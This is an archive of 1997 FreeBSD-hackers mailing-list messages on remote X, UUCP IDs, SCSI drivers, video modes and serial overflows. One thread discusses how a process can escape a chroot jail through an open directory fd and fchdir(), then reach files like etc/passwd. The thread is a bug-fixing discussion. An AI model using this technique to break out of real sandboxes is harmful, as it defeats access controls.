#1) id 0wX7OV-0001Z8-00; Thu, 29 May 1997 16:45:39 +0100 Subject: Re: rstartd on freefall To: freebsd-hackers@freebsd.org Date: Thu, 29 May 1997 16:45:39 +0100 (BST) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: From: Peter Radcliffe Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > How do other people exec remote X programs ? Doing a "rsh ....." > doesn't send your DISPLAY over, so you end up with some nasty lines > like: Personally I use: ssh -f machine.somewhere xterm If you arn't using ssh, why not ? :) pre-ssh I used to use a little script called rcmd that did rsh making sure the DISPLAY enviroment variable was set correctly, etc. http://www.pir.net/pir/bits/rcmd I remember having to hack it slightly for the domain in DISPLAY (it wasn't my script, just found it around somewhere). Peter. -- pir pir@darkwave.org.uk pir@pir.net pir@shore.net From owner-freebsd-hackers Thu May 29 08:51:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA21657 for hackers-outgoing; Thu, 29 May 1997 08:51:06 -0700 (PDT) Received: from ui-gate.utell.co.uk (ui-gate.utell.co.uk [194.200.4.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA21652 for ; Thu, 29 May 1997 08:51:01 -0700 (PDT) Received: from utell.co.uk (shift.utell.net [97.3.0.21]) by ui-gate.utell.co.uk (8.7.6/8.7.3) with ESMTP id QAA27619; Thu, 29 May 1997 16:50:55 +0100 (BST) Received: from shift.utell.net (localhost [127.0.0.1]) by utell.co.uk (8.8.5/8.8.5) with ESMTP id QAA05384; Thu, 29 May 1997 16:50:55 +0100 (BST) Message-Id: <199705291550.QAA05384@utell.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Jamie Bowden cc: Brian Somers , "Jordan K. Hubbard" , Brian Somers , freebsd-hackers@freebsd.org Subject: Re: rstartd on freefall In-reply-to: Your message of "Thu, 29 May 1997 11:15:27 EDT." <199705291514.LAA16028@gatekeeper.itribe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 16:50:54 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [.....] > > If you have xauth working properly, you can just type: > > xon host program Ah. $ apropos remote | fgrep start rstart(1) - a sample implementation of a Remote Start client rstartd(1) - a sample implementation of a Remote Start rsh helper xon(1) - start an X program on a remote machine Maybe I should have looked down the list a bit :) I've been using rstart for over a year now :| Xon works perfectly. Thanks. Hey, maybe I won't have to jump through xauth hoops when I spawn suid programs too ! Duh. > Jamie Bowden > > System Administrator, iTRiBE.net > -- Brian Don't _EVER_ lose your sense of humour ! From owner-freebsd-hackers Thu May 29 09:12:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA23225 for hackers-outgoing; Thu, 29 May 1997 09:12:15 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA23198 for ; Thu, 29 May 1997 09:12:11 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id JAA06181; Thu, 29 May 1997 09:12:04 -0700 (MST) From: Don Yuniskis Message-Id: <199705291612.JAA06181@seagull.rtd.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 29 May 1997 09:12:03 -0700 (MST) Cc: freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <19970529083654.WR06258@uriah.heep.sax.de> from "J Wunsch" at May 29, 97 08:36:54 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that J Wunsch said: > As Don Yuniskis wrote: > > > A bit of confusion on my part, perhaps... > > There's too much confusion about UUCP UIDs on any Unix i've seen so > far. :) Yes :-( If only that was the ONLY confusing issue... :> > > Shouldn't the uucp uid be that of the uucp *administrator*? > > I've seen both. It's a pain in the butt on every system that you > first gotta look who's who. > > > (i.e. the owner of the uucp files, processes, etc.). And, > > All the UIDs should be identical however, i.e. the UUCP administrator > has the same UID and group as all the UUCP dialin accounts. I've > never seen a system that doesn't handle it this way. I have a couple of (older) SysV derivatives that had uucp own the files and nuucp be the working "public" login. Thereafter, additional logins were either created with the same uid as nuucp (but appearing later in /etc/passwd) or separate accounts of the form "u" (easier to track who's doing what...). Having the administrative id the same as the working id I guess is just annoying since it doesn't allow you to 'su - uucp' before modifying any of the configuration files of creating new directories. Annoying when you create a directory and it ends up as root.wheel until uucp actually tries to USE that directory later... :-( I guess the short term solution (for me) is to just change the home and shell fields for the uucp login to be more consistent with those of an account administrator instead of a uucp service... And create the extra logins for the working uid's. Thanks! --don From owner-freebsd-hackers Thu May 29 09:27:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA24255 for hackers-outgoing; Thu, 29 May 1997 09:27:38 -0700 (PDT) Received: from becks.papyrus-inc.com (BECKS.papyrus-inc.com [207.87.192.201]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA24235 for ; Thu, 29 May 1997 09:27:33 -0700 (PDT) Received: by becks.papyrus-inc.com from localhost (router,SLmailNT V2.4); Thu, 29 May 1997 12:30:29 Eastern Daylight Time Received: by becks.papyrus-inc.com from smithwicks.papyrus-inc.com (207.87.192.215::mail daemon; unverified,SLmailNT V2.4); Thu, 29 May 1997 12:30:28 Eastern Daylight Time Message-ID: <338DAF4F.BACF94C2@pitt.edu> Date: Thu, 29 May 1997 12:31:11 -0400 From: John Duncan X-Mailer: Mozilla 4.0b4 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Advansys SCSI driver X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone know the status of the advscsi driver? I have a SIIG card (advansys) and, as a result, I've had to install linux instead of my preferred system, which is FreeBSD. Linux 2.0.30 supports the advscsi cards. Perhaps one could look through those drivers to find the low-level commands. If someone would like to help me out learning if design, I'd be happy to do this myself, but I have not spent any time doing this. -John From owner-freebsd-hackers Thu May 29 10:15:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA26556 for hackers-outgoing; Thu, 29 May 1997 10:15:27 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA26551 for ; Thu, 29 May 1997 10:15:24 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA03731; Thu, 29 May 1997 10:12:41 -0700 From: Terry Lambert Message-Id: <199705291712.KAA03731@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: imp@village.org (Warner Losh) Date: Thu, 29 May 1997 10:12:41 -0700 (MST) Cc: terry@lambert.org, dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: from "Warner Losh" at May 29, 97 09:16:10 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > : 1) namei() refusing to traverse ".." from the chroot'ed > : root vnode (this is broken, but then almost all of > : namei() is broken, and no one cares but me...). > > This works because the .. is outside the jail. If the vnode in which the ".." entry is being looked up is outside the jail, the lookup should return the jail. This is the main chroot() bug in namei(). > : 4) You don't have to let them have an open fd to the original > : "/" when you throw them in jail. > > Ummm, the "/" I was talking about was the new root (eg /jail in the > non-chroot'd system). You open up /, keep that fd around, then chroot > to someplace else lower in your current tree (eg /jail/xxx in the > non-chrooted case, or /xxx in the chroot'd case). At this point the > fchdir would succeed in landing you outside the jail. Your proc's chroot directory will not be changed; this action should not "land you outside the jail", at least not for the original jail, though it will take you out of the second jail. I guess you are saying that because the ".." is not the jail vnode, you can traverse up from it and truly be out of the jail. This is, I think, reducible to an error in the way links are physically stored on disk as object references instead of reference objects. If they were stored the other way, it would be possible to store a single "parent directory" for every reference object. Currently, it's possible to store a parent directory for every directory in the on disk inode, such that it's possible to determine the location of any directory inode in an FS hierarchy, and *know* that the current directory is outside the jail, and prohibit reverse traversals. That this is not done is an error in the UFS directory handling code, so it affects FFS, MFS, LFS, and EXT2FS, etc.. It should be noted that only relative forward paths would then work once outside a jail, so you should still be in the real jail. Any absolute paths would fail. One easier fix would be to disallow keeping fd's referencing DIR type vnode pointers open across chroot(), but it's useful, and trapped programs may not realize they are trapped, and rely on it. Probably the best fix is to record the hierarchy, as noted above, and then provide an fchroot() that is allowed out of the hierarchy. > 100% correct. However, many people think that a chroot'd environment > is so safe that even root can't climb out. It isn't. If somehow a > user gets root in a chroot'd environment, then your entire machine can > be comporomised. Heh. These people are fools. 8-). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 29 10:21:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA26845 for hackers-outgoing; Thu, 29 May 1997 10:21:49 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA26835 for ; Thu, 29 May 1997 10:21:44 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA12990 for freebsd-hackers@freefall.FreeBSD.org; Thu, 29 May 1997 19:21:38 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA04777; Thu, 29 May 1997 19:00:16 +0200 (MET DST) Message-ID: <19970529190015.FX15381@uriah.heep.sax.de> Date: Thu, 29 May 1997 19:00:15 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freefall.FreeBSD.org Subject: Re: uucp uid's References: <19970529083654.WR06258@uriah.heep.sax.de> <199705291612.JAA06181@seagull.rtd.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705291612.JAA06181@seagull.rtd.com>; from Don Yuniskis on May 29, 1997 09:12:03 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > I have a couple of (older) SysV derivatives that had uucp own the > files and nuucp be the working "public" login. Yep, but i've also seen systems where it's been just reversed. (I think DG/UX came this way in version 4.3x, probably due to BSD history, and maybe even swapped them in version 5.4x to increase the degree of confusion.) > Having the administrative id the same as the working id I guess is just > annoying since it doesn't allow you to 'su - uucp' before modifying > any of the configuration files of creating new directories. `su -m uucp' should work though. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 10:21:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA26863 for hackers-outgoing; Thu, 29 May 1997 10:21:55 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA26852 for ; Thu, 29 May 1997 10:21:51 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA12992 for freebsd-hackers@FreeBSD.ORG; Thu, 29 May 1997 19:21:48 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA04786; Thu, 29 May 1997 19:02:53 +0200 (MET DST) Message-ID: <19970529190253.AX61354@uriah.heep.sax.de> Date: Thu, 29 May 1997 19:02:53 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: rstartd on freefall References: <25691.864880799@time.cdrom.com> <199705291406.PAA03949@utell.co.uk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705291406.PAA03949@utell.co.uk>; from Brian Somers on May 29, 1997 15:06:38 +0100 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Somers wrote: > How do other people exec remote X programs ? I use ssh along with it proxying (and compressing) the X protocol requests. I use this just while typing... in Emacs over an ISDN link home. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 10:34:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA27423 for hackers-outgoing; Thu, 29 May 1997 10:34:12 -0700 (PDT) Received: from inetfw.sonycsl.co.jp (inetfw.sonycsl.co.jp [203.137.129.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA27416 for ; Thu, 29 May 1997 10:34:10 -0700 (PDT) Received: from hotaka.csl.sony.co.jp (hotaka.csl.sony.co.jp [43.27.98.57]) by inetfw.sonycsl.co.jp (8.8.3/3.5W) with ESMTP id RAA22107; Thu, 29 May 1997 17:33:46 GMT Received: from localhost (localhost [127.0.0.1]) by hotaka.csl.sony.co.jp (8.8.4/3.3W3) with ESMTP id CAA20576; Fri, 30 May 1997 02:33:30 +0900 (JST) Message-Id: <199705291733.CAA20576@hotaka.csl.sony.co.jp> To: freebsd-hackers@FreeBSD.ORG cc: Chuck Cranor Subject: misaligned access to EDO RAM Date: Fri, 30 May 1997 02:33:30 +0900 From: Kenjiro Cho Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Does anyone know if it is OK to perform misaligned-burst-access to EDO RAM? The DMA unit of an ENI ATM PCI card seems to lock up when it performs misaligned-burst-access crossing 1KB boundary. (e.g. 64-byte-burst from 0xf02663c4 but no problem with 512B boundary e.g. from 0xf02661c4) It happens with a machine with ECC EDO DIMM (dell optiplex GXpro). The lockup doesn't occur with other machines with fastpage DRAM (all P6-200s with Natoma). I suspect the 1K boundary comes from the EDO internal structure, but I'm not sure if the specs (EDO, Natoma, PCI) allow to do that. Any idea? Am I missing something? --kj From owner-freebsd-hackers Thu May 29 10:42:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA27798 for hackers-outgoing; Thu, 29 May 1997 10:42:56 -0700 (PDT) Received: from argus.nuke.net (node11.tfs.net [207.2.220.11]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA27792 for ; Thu, 29 May 1997 10:42:50 -0700 (PDT) Received: (from jbryant@localhost) by argus.nuke.net (8.8.5/8.8.5) id MAA01750; Thu, 29 May 1997 12:42:32 -0500 (CDT) From: Jim Bryant Message-Id: <199705291742.MAA01750@argus.nuke.net> Subject: Re: vidcontrol under 2.2.2 To: yokota@zodiac.mech.utsunomiya-u.ac.jp (Kazutaka YOKOTA) Date: Thu, 29 May 1997 12:42:31 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-To: jbryant@tfs.net In-Reply-To: <199705290745.QAA22196@zodiac.mech.utsunomiya-u.ac.jp> from "Kazutaka YOKOTA" at May 29, 97 04:45:07 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > >got 2.2.2 in... > > > >vidcontrol says "device not configured" when attempting to change > >console dimensions.... > > (Um, please be explicit about the model of your video card and the > video mode which you are attempting to change to.) Cirrus Logic, 1534... > It is probably either your video card is not VGA (this is unlikely > nowadays), or... not the case. > The mode parameter table in your VGA card's ROM is not organized the > way the console driver expects. There are unfortunately such cards out > there. You can still use other functions of the console driver (such > as mouse pointer), but can not change video modes. (X is OK, in case > you are wondering :-) never had a problem before... 1.1.5.1-RELEASE through 2.1.x-RELEASE > To verify if this is the case with your card, boot the system with the > "-v" option at the "Boot:" prompt and check the output from the > `dmesg' command afterwards. You will see "sc0: VGA registers upon > power-up" followed by 64 bytes of hex dump. If you don't see another > hex dump headed "sc0: VGA registers for mode:xx", the console driver > found the mode parameter table of your VGA ROM strange and decided not > to use it. if this is new, i suggest it be trashed or the old code #ifdef'ed in... nothing ticks me off more than someone messing with my x and y settings... i had no problems before i upgraded to 2.2.2, if it ain't broked, don't muck with it! in the mean time, please remove the Cirrus Logic cards from the kernel compat video card list in the advertising... > Kazu > > PS: You will see "Invalid argument" error, if you have not loaded an > appropriate font set for the new video mode. You need to explicitly > load font sets other than the 16 line font (which is the built-in > default of the VGA card). [from ~/.login] /usr/sbin/vidcontrol -f 8x8 /usr/share/syscons/fonts/cp437-thin-8x8.fnt /usr/sbin/vidcontrol -f 8x14 /usr/share/syscons/fonts/cp437-8x14.fnt /usr/sbin/vidcontrol -f 8x16 /usr/share/syscons/fonts/cp437-thin-8x16.fnt /usr/sbin/vidcontrol VGA_80x60 jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam From owner-freebsd-hackers Thu May 29 10:54:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA28278 for hackers-outgoing; Thu, 29 May 1997 10:54:51 -0700 (PDT) Received: from odin.visigenic.com (odin.visigenic.com [204.179.98.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA28273 for ; Thu, 29 May 1997 10:54:50 -0700 (PDT) Received: from VSI48 (vsi48.visigenic.com [206.64.15.185]) by odin.visigenic.com (Netscape Mail Server v2.02) with SMTP id AAA23918 for ; Thu, 29 May 1997 10:54:12 -0700 Message-Id: <3.0.32.19970529105435.0098db80@visigenic.com> X-Sender: toneil@visigenic.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 29 May 1997 10:54:35 -0700 To: hackers@FreeBSD.ORG From: "Tim Oneil" Subject: Re: Advansys SCSI driver Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 12:31 PM 5/29/97 -0400, you wrote: >Does anyone know the status of the advscsi driver? I have a SIIG card >(advansys) and, as a result, I've had to install linux instead of my >preferred system, which is FreeBSD. Linux 2.0.30 supports the advscsi >cards. Perhaps one could look through those drivers to find the >low-level commands. I apologize if I'm not being too helpful here, but I bought a SIIG scsi adapter once, becuase it was cheaper than the adaptecs. It sucked. Never again. I always use adaptec now. I'm curious to know why you won't use adaptec. I use scsi bus systems primarily, and in i386 boxes I have found adaptec to work in all these systems: os/2, DOS 6, win 3.1, 95, NT 4.0, fBSD, and Linux. The SIIG card wouldn't work with os/2, and thats where I tossed it. That was some time ago though, maybe they are better now... From owner-freebsd-hackers Thu May 29 11:02:33 1997 Return-Path: Received: (from root@localhost) by hub.FreeBSD.org (8.8.5/8.8.5) id LAA28816 for hackers-outgoing; Thu, 29 May 1997 11:02:33 -0700 (PDT) Received: from pluto.plutotech.com (root@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA28810 for ; Thu, 29 May 1997 11:02:28 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id MAA19441; Thu, 29 May 1997 12:02:13 -0600 (MDT) Message-Id: <199705291802.MAA19441@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: John Duncan cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Advansys SCSI driver In-reply-to: Your message of "Thu, 29 May 1997 12:31:11 EDT." <338DAF4F.BACF94C2@pitt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 12:59:28 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Does anyone know the status of the advscsi driver? I have a SIIG card >(advansys) and, as a result, I've had to install linux instead of my >preferred system, which is FreeBSD. Linux 2.0.30 supports the advscsi >cards. Perhaps one could look through those drivers to find the >low-level commands. > >If someone would like to help me out learning if design, I'd be happy to >do this myself, but I have not spent any time doing this. > >-John There is a preliminary driver for these cards in current that, unfortunately, was written to some experimental SCSI code that I was working on at the time. If you wanted to make it work, you'd have to "convert" this driver to the "normal" scsi code. I don't plan on picking this driver back up until my work on the CAM SCSI layer is complete, so feel free to play with it: i386/scsi/advansys.[c,h] dev/advansys/* i386/isa/adv_isa.c If you have a PCI or EISA card, you'll have to write a PCI probe for it too. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Thu May 29 11:04:19 1997 Return-Path: Received: (from root@localhost) by hub.FreeBSD.org (8.8.5/8.8.5) id LAA28938 for hackers-outgoing; Thu, 29 May 1997 11:04:19 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA28925 for ; Thu, 29 May 1997 11:04:11 -0700 (PDT) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.5/8.8.5) id UAA09115; Thu, 29 May 1997 20:02:46 +0200 (SAT) From: John Hay Message-Id: <199705291802.UAA09115@zibbi.mikom.csir.co.za> Subject: Re: HP 6020 Problems In-Reply-To: <27401.864919797@time.cdrom.com> from "Jordan K. Hubbard" at "May 29, 97 08:29:57 am" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 29 May 1997 20:02:46 +0200 (SAT) Cc: tom@tomqnx.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Jordon's original announcement for Release 2.2.1 stated that the HP 6020 > > was supported, so I went and bought one. It doesn't work properly as a WORM > > device for me, so I hacked the driver to allow myself to burn CDs with it. > > That's weird, since I also just got a 6020i to replace my deceased > 4020i (the HP CDRs have a pretty short lifetime, it must be said) and > it was just plug-n-play. Joerg: Did you add something post 2.2.1 to > support the 6020 drive a bit more seamlessly? IIRC, it was supported > back then too. > > Jordan > Well, I was using a HP6020 from a late 2.2.0-BETA onwards. I use it on a NCR controller, if it makes a difference. The only hickup was that you have to eject the media between accesses. This was supposedly fixed a while back, but I haven't upgraded after that, so I don't know if it works for me also. John -- John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-hackers Thu May 29 11:17:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA29521 for hackers-outgoing; Thu, 29 May 1997 11:17:50 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA29502; Thu, 29 May 1997 11:17:44 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id EAA24203; Fri, 30 May 1997 04:14:28 +1000 Date: Fri, 30 May 1997 04:14:28 +1000 From: Bruce Evans Message-Id: <199705291814.EAA24203@godzilla.zeta.org.au> To: hackers@FreeBSD.ORG, paulo@nlink.com.br Subject: Re: Cyclades PCI Strange Behavior Cc: isp@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >a Pentium 133 with Intel i430vx Motherboard >32MB RAM. >1.2GB IDE HardDrive >a Trident PCI Video Card >A cyclades PCI Cy32 card mapped to high memory >32 dial-in modems >We are getting a lot of silo overflows that get more frequently when we >start using the computer ( very frequent when we compile the kernel ). >If we start an upload to the computer, we have very much silo overflows >than in a download. Silo overflows are probably normal for the PCI version of the driver. It uses a normal low-priority interrupt handler which can be delayed for several msec by other interrupt handlers. At 115200 bps, there is about 1 silo overflow for ever msec of delay. Delays of 3-5 msec are normal for updating the keyboard LEDs. Delays of 0.1-1 msec are normal for IDE drives and PIO ethernet cards. Delays accumulate. >After about 1 day with the system running it JUST RESETS without any >message in the screen if we SWITCH ONE OF THE MODEMS OFF AND ON AGAIN ( >Just after we turn if on ). This is probably unrelated. There is a software bug that causes the timeout table to fill up under certain overloads, but this normally causes panics with a message. Bruce From owner-freebsd-hackers Thu May 29 11:28:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA00262 for hackers-outgoing; Thu, 29 May 1997 11:28:11 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA00257 for ; Thu, 29 May 1997 11:28:08 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wX9v2-0002xM-00; Thu, 29 May 1997 12:27:24 -0600 To: Terry Lambert Subject: Re: Correct way to chroot for shell account users? Cc: dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@freebsd.org In-reply-to: Your message of "Thu, 29 May 1997 10:12:41 PDT." <199705291712.KAA03731@phaeton.artisoft.com> References: <199705291712.KAA03731@phaeton.artisoft.com> Date: Thu, 29 May 1997 12:27:24 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199705291712.KAA03731@phaeton.artisoft.com> Terry Lambert writes: : If the vnode in which the ".." entry is being looked up is : outside the jail, the lookup should return the jail. This : is the main chroot() bug in namei(). You mistakenly assume there is more than one jail. All you have is one pointer, not a nesting. So once you reset that pointer and you have pointers outside the jail, you can still use them. : Your proc's chroot directory will not be changed; this action should : not "land you outside the jail", at least not for the original jail, : though it will take you out of the second jail. Yes it will. fchdir does almost no checking beyond the is this a directory. Again, you have ONE jail, not a nesting of jails. : I guess you are saying that because the ".." is not the jail vnode, : you can traverse up from it and truly be out of the jail. This is, : I think, reducible to an error in the way links are physically : stored on disk as object references instead of reference objects. : If they were stored the other way, it would be possible to store : a single "parent directory" for every reference object. No. The problem is that the test for "Is this inside the jail" is a hard test to make. : Currently, it's possible to store a parent directory for every : directory in the on disk inode, such that it's possible to determine : the location of any directory inode in an FS hierarchy, and *know* : that the current directory is outside the jail, and prohibit reverse : traversals. That this is not done is an error in the UFS directory : handling code, so it affects FFS, MFS, LFS, and EXT2FS, etc.. Yes, but you have to be careful how you do this. The obvious fix breaks many traditional uses of chroot. Directories are special beasts, but in general you can't know if a given file is inside a chroot area or not due to hard links. : It should be noted that only relative forward paths would then work : once outside a jail, so you should still be in the real jail. Any : absolute paths would fail. Once you are outside the jail, you can relative path everything. etc/passwd works just as well :-) : One easier fix would be to disallow keeping fd's referencing DIR type : vnode pointers open across chroot(), but it's useful, and trapped : programs may not realize they are trapped, and rely on it. That would likely be the simplest and safest fix. That would make chroot jails safer. I don't know if that would fix the jailbreak problems completely, but it would be a start. Another "fix" would be to disallow chroot when your root directory is "/" (absolute). : Probably the best fix is to record the hierarchy, as noted above, and : then provide an fchroot() that is allowed out of the hierarchy. I don't understand this. Warner From owner-freebsd-hackers Thu May 29 12:02:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA02451 for hackers-outgoing; Thu, 29 May 1997 12:02:04 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA02443 for ; Thu, 29 May 1997 12:02:01 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id MAA20045; Thu, 29 May 1997 12:01:52 -0700 (MST) From: Don Yuniskis Message-Id: <199705291901.MAA20045@seagull.rtd.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 29 May 1997 12:01:51 -0700 (MST) Cc: freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <19970529190015.FX15381@uriah.heep.sax.de> from "J Wunsch" at May 29, 97 07:00:15 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! > > I have a couple of (older) SysV derivatives that had uucp own the > > files and nuucp be the working "public" login. > > Yep, but i've also seen systems where it's been just reversed. (I > think DG/UX came this way in version 4.3x, probably due to BSD > history, and maybe even swapped them in version 5.4x to increase the > degree of confusion.) Undoubtedly! :-( Seems like everyone wants to break it in a slightly different way! :> > > Having the administrative id the same as the working id I guess is just > > annoying since it doesn't allow you to 'su - uucp' before modifying > > any of the configuration files of creating new directories. > > `su -m uucp' should work though. With the exception of having to move into /etc/uucp manually instead of letting $HOME do it for you... I guess it's just a matter of what you're accustomed to! --don From owner-freebsd-hackers Thu May 29 